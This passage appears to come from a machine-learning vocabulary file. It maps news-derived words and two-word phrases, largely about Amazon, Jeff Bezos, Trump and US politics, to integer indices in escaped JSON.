29778,\n  \"dangerous acts\": 29779,\n  \"transportation issues\": 29780,\n  \"2014 compared\": 29781,\n  \"management increased\": 29782,\n  \"commerce retailer\": 29783,\n  \"source sentiment\": 29784,\n  \"newshub\": 29785,\n  \"rep debbie\": 29786,\n  \"healthy woman\": 29787,\n  \"buy container\": 29788,\n  \"people voted\": 29789,\n  \"nadal press\": 29790,\n  \"major david\": 29791,\n  \"taking bold\": 29792,\n  \"house advisers\": 29793,\n  \"risk\": 29794,\n  \"2019 photographer\": 29795,\n  \"chronic\": 29796,\n  \"gado getty\": 29797,\n  \"ample quantity\": 29798,\n  \"reinforced\": 29799,\n  \"health care\": 29800,\n  \"related insights\": 29801,\n  \"rear run\": 29802,\n  \"sugar cookbook\": 29803,\n  \"defense dds\": 29804,\n  \"wine consumer\": 29805,\n  \"marketing deal\": 29806,\n  \"america giving\": 29807,\n  \"zombie movie\": 29808,\n  \"connected chief\": 29809,\n  \"principled\": 29810,\n  \"efforts amazon\": 29811,\n  \"navy month\": 29812,\n  \"lillian\": 29813,\n  \"codex penned\": 29814,\n  \"dad jumping\": 29815,\n  \"companies paying\": 29816,\n  \"similar plans\": 29817,\n  \"waged war\": 29818,\n  \"empire includes\": 29819,\n  \"unemployment rates\": 29820,\n  \"note left\": 29821,\n  \"tense\": 29822,\n  \"2018 wikipedia\": 29823,\n  \"democratic welfare\": 29824,\n  \"investigators initially\": 29825,\n  \"neck keith\": 29826,\n  \"newer businesses\": 29827,\n  \"repairing\": 29828,\n  \"writing luke\": 29829,\n  \"delivered dramatically\": 29830,\n  \"attached\": 29831,\n  \"illustrated series\": 29832,\n  \"administration set\": 29833,\n  \"mexico welcome\": 29834,\n  \"value don\": 29835,\n  \"build revenue\": 29836,\n  \"amazon ice\": 29837,\n  \"oil giant\": 29838,\n  \"highly questionable\": 29839,\n  \"belt loop\": 29840,\n  \"cut legislation\": 29841,\n  \"herera coming\": 29842,\n  \"taggart\": 29843,\n  \"wallachia\": 29844,\n  \"different worlds\": 29845,\n  \"major marc\": 29846,\n  \"varied\": 29847,\n  \"court overturned\": 29848,\n  \"bartlett\": 29849,\n  \"expedited\": 29850,\n  \"parkland florida\": 29851,\n  \"photo attorney\": 29852,\n  \"sock design\": 29853,\n  \"monarch\": 29854,\n  \"campaign possible\": 29855,\n  \"newsom rushed\": 29856,\n  \"labor blackfridays\": 29857,\n  \"political pitfalls\": 29858,\n  \"year amid\": 29859,\n  \"medallion\": 29860,\n  \"group announced\": 29861,\n  \"partly owed\": 29862,\n  \"really happy\": 29863,\n  \"persuasion focuses\": 29864,\n  \"projects nicknamed\": 29865,\n  \"promote president\": 29866,\n  \"wouldn mob\": 29867,\n  \"employee pointed\": 29868,\n  \"populist rhetoric\": 29869,\n  \"violins\": 29870,\n  \"target long\": 29871,\n  \"remarkable consensus\": 29872,\n  \"workers complained\": 29873,\n  \"overreaction muckerman\": 29874,\n  \"sister text\": 29875,\n  \"entire congress\": 29876,\n  \"post presented\": 29877,\n  \"000 youtube\": 29878,\n  \"things american\": 29879,\n  \"writers squeezed\": 29880,\n  \"mega hubs\": 29881,\n  \"hour ago\": 29882,\n  \"eu campaign\": 29883,\n  \"forest hills\": 29884,\n  \"nvidia reuters\": 29885,\n  \"human capital\": 29886,\n  \"poli\": 29887,\n  \"workforce new\": 29888,\n  \"talked amazon\": 29889,\n  \"including rosemary\": 29890,\n  \"additional acquisitions\": 29891,\n  \"mexican immigrant\": 29892,\n  \"service dog\": 29893,\n  \"using regularly\": 29894,\n  \"called pfas\": 29895,\n  \"recall election\": 29896,\n  \"immigrants amazon\": 29897,\n  \"netflix wanderlust\": 29898,\n  \"shit posting\": 29899,\n  \"original bag\": 29900,\n  \"union density\": 29901,\n  \"sarah hemberger\": 29902,\n  \"industry professionals\": 29903,\n  \"abortionists votes\": 29904,\n  \"itat\": 29905,\n  \"union imposed\": 29906,\n  \"month retail\": 29907,\n  \"b1 a4ee\": 29908,\n  \"city average\": 29909,\n  \"negative fed\": 29910,\n  \"fox majority\": 29911,\n  \"bucked\": 29912,\n  \"makeover\": 29913,\n  \"probably safe\": 29914,\n  \"floaty toy\": 29915,\n  \"greenville\": 29916,\n  \"bezos acknowledged\": 29917,\n  \"buying counterfeit\": 29918,\n  \"boris\": 29919,\n  \"historic militarisation\": 29920,\n  \"pretty attractive\": 29921,\n  \"underpaid\": 29922,\n  \"playing catch\": 29923,\n  \"13scvcpele\": 29924,\n  \"school victims\": 29925,\n  \"ethnocide\": 29926,\n  \"learning ceo\": 29927,\n  \"reggie fils\": 29928,\n  \"million initiative\": 29929,\n  \"nonstick inner\": 29930,\n  \"vans plus\": 29931,\n  \"favor washingtonian\": 29932,\n  \"date mackenzie\": 29933,\n  \"sanchez information\": 29934,\n  \"profit institutions\": 29935,\n  \"ice melted\": 29936,\n  \"organized sold\": 29937,\n  \"maple lam\": 29938,\n  \"members worldwide\": 29939,\n  \"tohave\": 29940,\n  \"geetha\": 29941,\n  \"holds series\": 29942,\n  \"week cheryl\": 29943,\n  \"trading partners\": 29944,\n  \"paying area\": 29945,\n  \"previous proposal\": 29946,\n  \"connected insiders\": 29947,\n  \"traders reacted\": 29948,\n  \"workers stories\": 29949,\n  \"hunton\": 29950,\n  \"surprisingly\": 29951,\n  \"place executive\": 29952,\n  \"loopholes created\": 29953,\n  \"footballer\": 29954,\n  \"emerging markets\": 29955,\n  \"comments baseless\": 29956,\n  \"natural target\": 29957,\n  \"firing people\": 29958,\n  \"published additional\": 29959,\n  \"new tricks\": 29960,\n  \"counterfeits eliminated\": 29961,\n  \"rally tactics\": 29962,\n  \"billion cementing\": 29963,\n  \"network ap\": 29964,\n  \"wealth rubenstein\": 29965,\n  \"swanky limos\": 29966,\n  \"story gecko\": 29967,\n  \"belt sun\": 29968,\n  \"little confused\": 29969,\n  \"northeast posted\": 29970,\n  \"prev\": 29971,\n  \"chryslers\": 29972,\n  \"settlement outside\": 29973,\n  \"buddy pass\": 29974,\n  \"latest venture\": 29975,\n  \"hotel services\": 29976,\n  \"giorgione\": 29977,\n  \"scariest\": 29978,\n  \"disposable parts\": 29979,\n  \"retiring supreme\": 29980,\n  \"interested share\": 29981,\n  \"kennedy saw\": 29982,\n  \"guy rivalry\": 29983,\n  \"ordered\": 29984,\n  \"makes money\": 29985,\n  \"raiding money\": 29986,\n  \"technology investments\": 29987,\n  \"necessary save\": 29988,\n  \"services digital\": 29989,\n  \"alejandro delagarza\": 29990,\n  \"2017 increasing\": 29991,\n  \"president william\": 29992,\n  \"outside analysts\": 29993,\n  \"council roundtable\": 29994,\n  \"difficult discussions\": 29995,\n  \"sociopath hillary\": 29996,\n  \"wealth levy\": 29997,\n  \"contract ubhi\": 29998,\n  \"existent sources\": 29999,\n  \"eligible manufacturers\": 30000,\n  \"yes cop\": 30001,\n  \"keast\": 30002,\n  \"brands surveyed\": 30003,\n  \"negotiations broke\": 30004,\n  \"214 points\": 30005,\n  \"rule limiting\": 30006,\n  \"personnel issues\": 30007,\n  \"bope\": 30008,\n  \"ashton\": 30009,\n  \"natrol melatonin\": 30010,\n  \"giving women\": 30011,\n  \"amazon defended\": 30012,\n  \"york offered\": 30013,\n  \"magna carta\": 30014,\n  \"hurthave\": 30015,\n  \"monarchy\": 30016,\n  \"shop directly\": 30017,\n  \"reporting spectacular\": 30018,\n  \"dot brands\": 30019,\n  \"brexit party\": 30020,\n  \"fucking madness\": 30021,\n  \"repatriating profits\": 30022,\n  \"startled investors\": 30023,\n  \"avoided legal\": 30024,\n  \"complete economic\": 30025,\n  \"schlossberg page\": 30026,\n  \"involved google\": 30027,\n  \"require pilot\": 30028,\n  \"day new\": 30029,\n  \"selling greenhouse\": 30030,\n  \"carlton days\": 30031,\n  \"waiter suggesting\": 30032,\n  \"american town\": 30033,\n  \"bonds\": 30034,\n  \"beyonce song\": 30035,\n  \"leader apple\": 30036,\n  \"state ag\": 30037,\n  \"worth 85m\": 30038,\n  \"hunky\": 30039,\n  \"tech view\": 30040,\n  \"microsoft shares\": 30041,\n  \"brazil department\": 30042,\n  \"resources amazon\": 30043,\n  \"thompson added\": 30044,\n  \"totals trump\": 30045,\n  \"indiewire chief\": 30046,\n  \"entertainment tell\": 30047,\n  \"battle plan\": 30048,\n  \"threatened investigations\": 30049,\n  \"sheuvachman says\": 30050,\n  \"paper prospects\": 30051,\n  \"government shutdowns\": 30052,\n  \"home startup\": 30053,\n  \"allen contends\": 30054,\n  \"descriptiontext cnn\": 30055,\n  \"remove thepresident\": 30056,\n  \"successful amazon\": 30057,\n  \"ventures managing\": 30058,\n  \"numerous racy\": 30059,\n  \"000 food\": 30060,\n  \"pricing decisions\": 30061,\n  \"nipsey\": 30062,\n  \"cuts mini\": 30063,\n  \"flaps\": 30064,\n  \"fund companies\": 30065,\n  \"2018 hunting\": 30066,\n  \"failla\": 30067,\n  \"months starting\": 30068,\n  \"moday\": 30069,\n  \"national bomb\": 30070,\n  \"including work\": 30071,\n  \"cherishes outside\": 30072,\n  \"fired right\": 30073,\n  \"callbackobj\": 30074,\n  \"shows widespread\": 30075,\n  \"senator anti\": 30076,\n  \"quote ms\": 30077,\n  \"browser matt\": 30078,\n  \"questioned brother\": 30079,\n  \"unanimously eu\": 30080,\n  \"prices oil\": 30081,\n  \"shown signs\": 30082,\n  \"choice follow\": 30083,\n  \"jeff management\": 30084,\n  \"picture foreign\": 30085,\n  \"audience groaned\": 30086,\n  \"reactid 123\": 30087,\n  \"empire\": 30088,\n  \"indigenous woman\": 30089,\n  \"powerful network\": 30090,\n  \"counsel focus\": 30091,\n  \"abramowitz declined\": 30092,\n  \"diversified group\": 30093,\n  \"u2x\": 30094,\n  \"askebay ebay\": 30095,\n  \"reported fourth\": 30096,\n  \"remaining packages\": 30097,\n  \"uestions\": 30098,\n  \"gallo getty\": 30099,\n  \"bedding\": 30100,\n  \"immigrants tasking\": 30101,\n  \"skidded\": 30102,\n  \"nationwide 2018\": 30103,\n  \"owners community\": 30104,\n  \"midwest flooding\": 30105,\n  \"initially wrapped\": 30106,\n  \"furthers\": 30107,\n  \"content decisions\": 30108,\n  \"gaap revenue\": 30109,\n  \"tv right\": 30110,\n  \"herbold\": 30111,\n  \"auditor opinion\": 30112,\n  \"docs\": 30113,\n  \"goods promoting\": 30114,\n  \"amid record\": 30115,\n  \"point dow\": 30116,\n  \"friends\": 30117,\n  \"george say\": 30118,\n  \"liberal group\": 30119,\n  \"lucas nolan\": 30120,\n  \"built slimmer\": 30121,\n  \"delayed data\": 30122,\n  \"pardon\": 30123,\n  \"college phillip\": 30124,\n  \"fbr\": 30125,\n  \"unscathed outside\": 30126,\n  \"magazine amazon\": 30127,\n  \"available vought\": 30128,\n  \"transport faux\": 30129,\n  \"taken criticized\": 30130,\n  \"sea creatures\": 30131,\n  \"staff blogs\": 30132,\n  \"warming\": 30133,\n  \"guard action\": 30134,\n  \"competitive undoubtedly\": 30135,\n  \"article f1ffc8b1b28541f8a14202dff10fb148\": 30136,\n  \"pentagon officials\": 30137,\n  \"content officer\": 30138,\n  \"division old\": 30139,\n  \"abortion case\": 30140,\n  \"retail mold\": 30141,\n  \"wrote parts\": 30142,\n  \"city penthouse\": 30143,\n  \"poses eventually\": 30144,\n  \"amzn did\": 30145,\n  \"time democratic\": 30146,\n  \"taxation issues\": 30147,\n  \"man needs\": 30148,\n  \"driving american\": 30149,\n  \"jokers\": 30150,\n  \"bzr2gluymv jacob\": 30151,\n  \"gas gives\": 30152,\n  \"widely viewed\": 30153,\n  \"allowing post\": 30154,\n  \"perfidy\": 30155,\n  \"arrested near\": 30156,\n  \"mark loses\": 30157,\n  \"specific allegation\": 30158,\n  \"involved gentle\": 30159,\n  \"ami offered\": 30160,\n  \"13th\": 30161,\n  \"election despite\": 30162,\n  \"police officer\": 30163,\n  \"ways summoning\": 30164,\n  \"old flame\": 30165,\n  \"work smart\": 30166,\n  \"quantitative\": 30167,\n  \"giveaway\": 30168,\n  \"candidate return\": 30169,\n  \"following day\": 30170,\n  \"quarter trump\": 30171,\n  \"celebrity tennis\": 30172,\n  \"vacancies followed\": 30173,\n  \"facility sect\": 30174,\n  \"marketplace refers\": 30175,\n  \"eq\": 30176,\n  \"cities coming\": 30177,\n  \"sky chefs\": 30178,\n  \"month long\": 30179,\n  \"biggest budget\": 30180,\n  \"started ticking\": 30181,\n  \"amazon hq2\": 30182,\n  \"purported jobs\": 30183,\n  \"book river\": 30184,\n  \"freshener\": 30185,\n  \"pow bonniemurphy\": 30186,\n  \"worker safety\": 30187,\n  \"spokeswoman heath\": 30188,\n  \"forme\": 30189,\n  \"following palantir\": 30190,\n  \"leaked hughes\": 30191,\n  \"old lies\": 30192,\n  \"confidential jon\": 30193,\n  \"surveillance raised\": 30194,\n  \"obama memoir\": 30195,\n  \"emotional journey\": 30196,\n  \"big shippers\": 30197,\n  \"singled\": 30198,\n  \"financial trouble\": 30199,\n  \"sec papers\": 30200,\n  \"prosecutors recommended\": 30201,\n  \"military violence\": 30202,\n  \"cbs cbs\": 30203,\n  \"rubber twist\": 30204,\n  \"messages ami\": 30205,\n  \"skyhorse publishing\": 30206,\n  \"roadside store\": 30207,\n  \"older brick\": 30208,\n  \"work targets\": 30209,\n  \"photo op\": 30210,\n  \"tac maker\": 30211,\n  \"daca iran\": 30212,\n  \"maccallum\": 30213,\n  \"facebook won\": 30214,\n  \"results impact\": 30215,\n  \"pounds\": 30216,\n  \"sow\": 30217,\n  \"email jeff\": 30218,\n  \"latest special\": 30219,\n  \"highlight blake\": 30220,\n  \"magnificent terrifying\": 30221,\n  \"view chuck\": 30222,\n  \"dropping usps\": 30223,\n  \"israel security\": 30224,\n  \"uc5fyvorin\": 30225,\n  \"straight talking\": 30226,\n  \"apa\": 30227,\n  \"brodkin ars\": 30228,\n  \"compel amazon\": 30229,\n  \"danny madhavan\": 30230,\n  \"sheltered\": 30231,\n  \"z0 t9x\": 30232,\n  \"time jolley\": 30233,\n  \"cigarette rolling\": 30234,\n  \"amazon smartphone\": 30235,\n  \"president announced\": 30236,\n  \"jorge\": 30237,\n  \"presidential administrations\": 30238,\n  \"verbal scattergun\": 30239,\n  \"groups include\": 30240,\n  \"toronto dominion\": 30241,\n  \"include breaches\": 30242,\n  \"drew new\": 30243,\n  \"chicanx\": 30244,\n  \"triumph hello\": 30245,\n  \"constant contact\": 30246,\n  \"google split\": 30247,\n  \"lira spikes\": 30248,\n  \"increase corporate\": 30249,\n  \"benefit financially\": 30250,\n  \"quarters pulled\": 30251,\n  \"farc does\": 30252,\n  \"children outside\": 30253,\n  \"twitter campaign\": 30254,\n  \"neighboring new\": 30255,\n  \"awaits pickup\": 30256,\n  \"partner photo\": 30257,\n  \"largest retail\": 30258,\n  \"company does\": 30259,\n  \"oregon used\": 30260,\n  \"funny new\": 30261,\n  \"empower people\": 30262,\n  \"headquarters bezos\": 30263,\n  \"apple plan\": 30264,\n  \"actually called\": 30265,\n  \"leaders stand\": 30266,\n  \"directors adam\": 30267,\n  \"algorithmic explanations\": 30268,\n  \"nahata added\": 30269,\n  \"96th st\": 30270,\n  \"taxpayer\": 30271,\n  \"worrisome claims\": 30272,\n  \"veteran strategist\": 30273,\n  \"team booked\": 30274,\n  \"pay playboy\": 30275,\n  \"paying customer\": 30276,\n  \"traitors set\": 30277,\n  \"lobbying army\": 30278,\n  \"pedestrian experience\": 30279,\n  \"survivor win\": 30280,\n  \"hurry\": 30281,\n  \"claims pays\": 30282,\n  \"stacking\": 30283,\n  \"explainer britain\": 30284,\n  \"stumbling\": 30285,\n  \"core tenets\": 30286,\n  \"include lifestyle\": 30287,\n  \"audio book\": 30288,\n  \"marketing mix\": 30289,\n  \"governors particularly\": 30290,\n  \"expo sent\": 30291,\n  \"large shareholders\": 30292,\n  \"homes amazon\": 30293,\n  \"joked adding\": 30294,\n  \"shields cap\": 30295,\n  \"information common\": 30296,\n  \"musical maestro\": 30297,\n  \"urged\": 30298,\n  \"retailer trumpstore\": 30299,\n  \"attributable\": 30300,\n  \"amazon underpays\": 30301,\n  \"bob cratchit\": 30302,\n  \"yes griffeth\": 30303,\n  \"qualitatively\": 30304,\n  \"buyerzonewidgets\": 30305,\n  \"disclosures started\": 30306,\n  \"john mccabe\": 30307,\n  \"management reason\": 30308,\n  \"political editor\": 30309,\n  \"natural news\": 30310,\n  \"000 bonus\": 30311,\n  \"emergency claim\": 30312,\n  \"divorced north\": 30313,\n  \"lois\": 30314,\n  \"political coup\": 30315,\n  \"northwestern england\": 30316,\n  \"ap interview\": 30317,\n  \"amazon rise\": 30318,\n  \"partisan bickering\": 30319,\n  \"suprising revelation\": 30320,\n  \"numerous scandals\": 30321,\n  \"time explaining\": 30322,\n  \"recent internet\": 30323,\n  \"purchased\": 30324,\n  \"earth donald\": 30325,\n  \"washington seattle\": 30326,\n  \"public display\": 30327,\n  \"squeebles word\": 30328,\n  \"exhibitions trump\": 30329,\n  \"phishing accounted\": 30330,\n  \"tweet president\": 30331,\n  \"bail amtrak\": 30332,\n  \"tattoo\": 30333,\n  \"gary horcher\": 30334,\n  \"immersed\": 30335,\n  \"capture significantly\": 30336,\n  \"sabotage\": 30337,\n  \"raise mailing\": 30338,\n  \"titled adapt\": 30339,\n  \"elected populist\": 30340,\n  \"tabloid paid\": 30341,\n  \"historical memory\": 30342,\n  \"does bring\": 30343,\n  \"democrats dent\": 30344,\n  \"mask act\": 30345,\n  \"kitts\": 30346,\n  \"giant grew\": 30347,\n  \"york investigation\": 30348,\n  \"data coverage\": 30349,\n  \"hurts\": 30350,\n  \"china dolce\": 30351,\n  \"continue distorting\": 30352,\n  \"service negotiators\": 30353,\n  \"jabong expects\": 30354,\n  \"ally khashoggi\": 30355,\n  \"timberwolves\": 30356,\n  \"economicrent asp\": 30357,\n  \"feeling good\": 30358,\n  \"marketing\": 30359,\n  \"levin testified\": 30360,\n  \"amazon credit\": 30361,\n  \"geoff\": 30362,\n  \"130 kilometres\": 30363,\n  \"assembly district\": 30364,\n  \"addictive gaming\": 30365,\n  \"creek montana\": 30366,\n  \"bruno ap\": 30367,\n  \"individual drivers\": 30368,\n  \"waterfront property\": 30369,\n  \"growth outside\": 30370,\n  \"33rd space\": 30371,\n  \"need break\": 30372,\n  \"jobs promised\": 30373,\n  \"anti deforestation\": 30374,\n  \"crouched\": 30375,\n  \"illegal logging\": 30376,\n  \"planet sanders\": 30377,\n  \"companies stand\": 30378,\n  \"amzn aapl\": 30379,\n  \"did moser\": 30380,\n  \"megacap company\": 30381,\n  \"product research\": 30382,\n  \"american southwest\": 30383,\n  \"kara\": 30384,\n  \"phenomenal growth\": 30385,\n  \"rivera garza\": 30386,\n  \"farmers refiners\": 30387,\n  \"bezos rung\": 30388,\n  \"labor offered\": 30389,\n  \"reports fox\": 30390,\n  \"consistent\": 30391,\n  \"perennial issues\": 30392,\n  \"tough negotiating\": 30393,\n  \"stavridis\": 30394,\n  \"including loss\": 30395,\n  \"moral equivalency\": 30396,\n  \"chip industry\": 30397,\n  \"build blocks\": 30398,\n  \"hungary\": 30399,\n  \"series announced\": 30400,\n  \"content twin\": 30401,\n  \"radius\": 30402,\n  \"clouded\": 30403,\n  \"bezos toy\": 30404,\n  \"honoree\": 30405,\n  \"maxsa asked\": 30406,\n  \"hike shipping\": 30407,\n  \"edwards noted\": 30408,\n  \"fuels entirely\": 30409,\n  \"aid plunging\": 30410,\n  \"new lendedu\": 30411,\n  \"hottest\": 30412,\n  \"driving bezos\": 30413,\n  \"addressed mike\": 30414,\n  \"expect quick\": 30415,\n  \"jamie lee\": 30416,\n  \"marital break\": 30417,\n  \"management organizational\": 30418,\n  \"politics article\": 30419,\n  \"yemen war\": 30420,\n  \"christine bauserman\": 30421,\n  \"google retail\": 30422,\n  \"story premieres\": 30423,\n  \"bumbling\": 30424,\n  \"wieser known\": 30425,\n  \"firstamendment\": 30426,\n  \"annexation\": 30427,\n  \"unpleasant emergencies\": 30428,\n  \"pose real\": 30429,\n  \"computers electrical\": 30430,\n  \"built border\": 30431,\n  \"mass distribution\": 30432,\n  \"hospital cbs\": 30433,\n  \"thepolitical\": 30434,\n  \"story rolls\": 30435,\n  \"comrades analysts\": 30436,\n  \"pro democracy\": 30437,\n  \"successfully created\": 30438,\n  \"worth picking\": 30439,\n  \"logistics service\": 30440,\n  \"possible second\": 30441,\n  \"alternate universe\": 30442,\n  \"attacking large\": 30443,\n  \"billionaires elon\": 30444,\n  \"green climate\": 30445,\n  \"works harris\": 30446,\n  \"gunpoint\": 30447,\n  \"precise amazon\": 30448,\n  \"staff activists\": 30449,\n  \"cup players\": 30450,\n  \"features designed\": 30451,\n  \"getting paychecks\": 30452,\n  \"comcast katherine\": 30453,\n  \"different beat\": 30454,\n  \"john liu\": 30455,\n  \"furthest\": 30456,\n  \"todd bishop\": 30457,\n  \"market writes\": 30458,\n  \"steeper early\": 30459,\n  \"times dwight\": 30460,\n  \"stupefying\": 30461,\n  \"actor tim\": 30462,\n  \"heather schuster\": 30463,\n  \"georgia black\": 30464,\n  \"japanese architect\": 30465,\n  \"manageable issues\": 30466,\n  \"small minorities\": 30467,\n  \"group executive\": 30468,\n  \"extraordinary bet\": 30469,\n  \"offering counterfeit\": 30470,\n  \"quick previous\": 30471,\n  \"disciplinary ruling\": 30472,\n  \"capital funding\": 30473,\n  \"surrounded\": 30474,\n  \"governor larry\": 30475,\n  \"irate howorth\": 30476,\n  \"cooptation\": 30477,\n  \"photoshop\": 30478,\n  \"reportedly amazon\": 30479,\n  \"companies available\": 30480,\n  \"nation income\": 30481,\n  \"claims\": 30482,\n  \"mailbox bookseller\": 30483,\n  \"costs claiming\": 30484,\n  \"equivalent\": 30485,\n  \"rating plans\": 30486,\n  \"aca ruling01\": 30487,\n  \"different opinion\": 30488,\n  \"witness massive\": 30489,\n  \"kits available\": 30490,\n  \"executives haven\": 30491,\n  \"bernstein\": 30492,\n  \"portfolio artemis\": 30493,\n  \"retired supreme\": 30494,\n  \"reported virginia\": 30495,\n  \"amazon damage\": 30496,\n  \"risk eroding\": 30497,\n  \"db2 sql\": 30498,\n  \"explorer web\": 30499,\n  \"gently\": 30500,\n  \"story democrat\": 30501,\n  \"attorney jon\": 30502,\n  \"recent questioning\": 30503,\n  \"bezos leaving\": 30504,\n  \"recognition tool\": 30505,\n  \"overcome hardship\": 30506,\n  \"worth pointing\": 30507,\n  \"trump shaped\": 30508,\n  \"2017 youtube\": 30509,\n  \"brits\": 30510,\n  \"additionally criticized\": 30511,\n  \"marine ecosystem\": 30512,\n  \"b3x r4ee\": 30513,\n  \"whatis\": 30514,\n  \"showed week\": 30515,\n  \"specifically defined\": 30516,\n  \"mcdougal hush\": 30517,\n  \"forecasts concerning\": 30518,\n  \"final season\": 30519,\n  \"kept apart\": 30520,\n  \"lips sink\": 30521,\n  \"rock solid\": 30522,\n  \"ourforeign\": 30523,\n  \"fury inside\": 30524,\n  \"finance wealthfront\": 30525,\n  \"damning allegations\": 30526,\n  \"emirates sent\": 30527,\n  \"maitland told\": 30528,\n  \"meyersohn explains\": 30529,\n  \"technology based\": 30530,\n  \"hand picked\": 30531,\n  \"olick\": 30532,\n  \"time photo\": 30533,\n  \"clicker don\": 30534,\n  \"term expired\": 30535,\n  \"panned withdrawal\": 30536,\n  \"trump impersonators\": 30537,\n  \"gender discrimination\": 30538,\n  \"week yesterday\": 30539,\n  \"method used\": 30540,\n  \"troubles georgia\": 30541,\n  \"jill\": 30542,\n  \"article review\": 30543,\n  \"revenue names\": 30544,\n  \"pretender\": 30545,\n  \"be\\u0430positive\\u0430as\": 30546,\n  \"based businessman\": 30547,\n  \"commission meng\": 30548,\n  \"writers musicians\": 30549,\n  \"declarethe president\": 30550,\n  \"personal purpose\": 30551,\n  \"high wire\": 30552,\n  \"bezos just\": 30553,\n  \"price departed\": 30554,\n  \"unequal treatment\": 30555,\n  \"reinventing lead\": 30556,\n  \"includes countries\": 30557,\n  \"time following\": 30558,\n  \"advil baby\": 30559,\n  \"villains\": 30560,\n  \"current level\": 30561,\n  \"company growth\": 30562,\n  \"sales accounting\": 30563,\n  \"week service\": 30564,\n  \"grech president\": 30565,\n  \"annual fort\": 30566,\n  \"discuss deals\": 30567,\n  \"root\": 30568,\n  \"television arts\": 30569,\n  \"testimony florence\": 30570,\n  \"exert\": 30571,\n  \"charcuturie\": 30572,\n  \"elections mexico\": 30573,\n  \"private discussions\": 30574,\n  \"deathwatch includes\": 30575,\n  \"thoroughly gaslighted\": 30576,\n  \"business currently\": 30577,\n  \"hell wasn\": 30578,\n  \"president research\": 30579,\n  \"cost taxpayers\": 30580,\n  \"syndicated cartoons\": 30581,\n  \"whately\": 30582,\n  \"trump towers\": 30583,\n  \"developed\": 30584,\n  \"spanish bengali\": 30585,\n  \"tron reboot\": 30586,\n  \"supported device\": 30587,\n  \"million containers\": 30588,\n  \"wouldn stop\": 30589,\n  \"initially provided\": 30590,\n  \"stated disdain\": 30591,\n  \"retail amazon\": 30592,\n  \"commerce secretary\": 30593,\n  \"equate\": 30594,\n  \"rebuke trump\": 30595,\n  \"griffeth unconventional\": 30596,\n  \"deputy prime\": 30597,\n  \"imagehash server719398\": 30598,\n  \"aafa\": 30599,\n  \"primary problem\": 30600,\n  \"probably want\": 30601,\n  \"operations despite\": 30602,\n  \"gone awry\": 30603,\n  \"exacting retribution\": 30604,\n  \"inspire oversight\": 30605,\n  \"prominent critic\": 30606,\n  \"product sales\": 30607,\n  \"taint\": 30608,\n  \"benefit new\": 30609,\n  \"really successful\": 30610,\n  \"york gov\": 30611,\n  \"setting safety\": 30612,\n  \"based approach\": 30613,\n  \"heather redman\": 30614,\n  \"retail india\": 30615,\n  \"free cash\": 30616,\n  \"300m\": 30617,\n  \"doctorate\": 30618,\n  \"jessica ramos\": 30619,\n  \"rothschild told\": 30620,\n  \"new war\": 30621,\n  \"panther custody\": 30622,\n  \"government chinese\": 30623,\n  \"civil warrant\": 30624,\n  \"administration prepares\": 30625,\n  \"vacation benefits\": 30626,\n  \"spenders\": 30627,\n  \"upend fedex\": 30628,\n  \"practically implied\": 30629,\n  \"attack minutes\": 30630,\n  \"government yee\": 30631,\n  \"millionaire status\": 30632,\n  \"low levels\": 30633,\n  \"michele marconi\": 30634,\n  \"balboa\": 30635,\n  \"amid concerns\": 30636,\n  \"trump mair\": 30637,\n  \"tyrannical nate\": 30638,\n  \"solid earning\": 30639,\n  \"dividend start\": 30640,\n  \"jeff personal\": 30641,\n  \"refrain\": 30642,\n  \"underneath\": 30643,\n  \"andrei\": 30644,\n  \"actually influencing\": 30645,\n  \"san joaquin\": 30646,\n  \"eat 150\": 30647,\n  \"celebrate wedding\": 30648,\n  \"economic history\": 30649,\n  \"later wrote\": 30650,\n  \"telegraph\": 30651,\n  \"appropriately\": 30652,\n  \"indra nooyi\": 30653,\n  \"announcement says\": 30654,\n  \"florida talks\": 30655,\n  \"negotiations insists\": 30656,\n  \"ceo andy\": 30657,\n  \"positive saying\": 30658,\n  \"reasons constantly\": 30659,\n  \"hours session\": 30660,\n  \"thank whoopi\": 30661,\n  \"popular institution\": 30662,\n  \"administration crackdown\": 30663,\n  \"release trump\": 30664,\n  \"amazon fund\": 30665,\n  \"padded\": 30666,\n  \"bread did\": 30667,\n  \"pictured\": 30668,\n  \"anita\": 30669,\n  \"police headquarters\": 30670,\n  \"overnight based\": 30671,\n  \"evening accusing\": 30672,\n  \"vineti\": 30673,\n  \"creative tactics\": 30674,\n  \"service clinic\": 30675,\n  \"concerns catch\": 30676,\n  \"heavyweight energy\": 30677,\n  \"large financial\": 30678,\n  \"nation second\": 30679,\n  \"800 migrant\": 30680,\n  \"reservoir\": 30681,\n  \"returns leaving\": 30682,\n  \"protest trump\": 30683,\n  \"reserved share\": 30684,\n  \"courts trade\": 30685,\n  \"iraqi reconstruction\": 30686,\n  \"ingram\": 30687,\n  \"used language\": 30688,\n  \"boeing seafair\": 30689,\n  \"elgin\": 30690,\n  \"tara\": 30691,\n  \"elaine chao\": 30692,\n  \"enquirer followed\": 30693,\n  \"catching flack\": 30694,\n  \"founding little\": 30695,\n  \"voice man\": 30696,\n  \"sangre\": 30697,\n  \"tweet unleashed\": 30698,\n  \"bookstores\": 30699,\n  \"operations government\": 30700,\n  \"agencies rapidly\": 30701,\n  \"site obsessed\": 30702,\n  \"appnexus\": 30703,\n  \"offering foreigners\": 30704,\n  \"pan bolsonaro\": 30705,\n  \"ebola returns\": 30706,\n  \"junebaby\": 30707,\n  \"data analytics\": 30708,\n  \"limited competition\": 30709,\n  \"skyscrapers including\": 30710,\n  \"west investment\": 30711,\n  \"scott pruitt\": 30712,\n  \"thankfully trump\": 30713,\n  \"hampshire ships\": 30714,\n  \"ruchika budhraja\": 30715,\n  \"using factory\": 30716,\n  \"urban birding\": 30717,\n  \"forming ars\": 30718,\n  \"demonize\": 30719,\n  \"sanders delegate\": 30720,\n  \"asian journalists\": 30721,\n  \"target raised\": 30722,\n  \"scion\": 30723,\n  \"bending lifting\": 30724,\n  \"order set\": 30725,\n  \"traditional commerce\": 30726,\n  \"shocking snippets\": 30727,\n  \"contrast trump\": 30728,\n  \"mis\": 30729,\n  \"sarah rathner\": 30730,\n  \"manhattan reap\": 30731,\n  \"capacity president\": 30732,\n  \"talks\": 30733,\n  \"includes dwi\": 30734,\n  \"brighter large\": 30735,\n  \"steps including\": 30736,\n  \"1986019\": 30737,\n  \"mngmt lp\": 30738,\n  \"house republicans\": 30739,\n  \"begin tonight\": 30740,\n  \"senate faceoff\": 30741,\n  \"ross katherine\": 30742,\n  \"isis announcements\": 30743,\n  \"polls closed\": 30744,\n  \"awoo\": 30745,\n  \"acquisitive\": 30746,\n  \"rxsjwxih7h carole\": 30747,\n  \"puzder explains\": 30748,\n  \"gul\": 